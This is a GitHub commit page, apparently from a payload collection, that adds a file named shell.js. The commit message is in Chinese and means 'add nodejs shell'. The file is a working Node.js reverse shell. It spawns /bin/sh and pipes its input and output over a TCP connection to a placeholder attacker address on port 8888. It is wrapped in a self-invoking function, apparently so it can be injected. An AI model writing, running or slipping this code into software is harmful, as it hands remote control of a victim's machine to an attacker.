增加nodejs的shell

This commit is contained in:
shellfeel 2018-12-22 19:23:22 +08:00 committed by GitHub
parent a0a4b15bdf
commit f0475d650c
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

12
shell.js Normal file
View file

@ -0,0 +1,12 @@
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh",[]);
var client = new net.Socket();
client.connect(8888,"xxx.xxx.xxx.xxx",function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();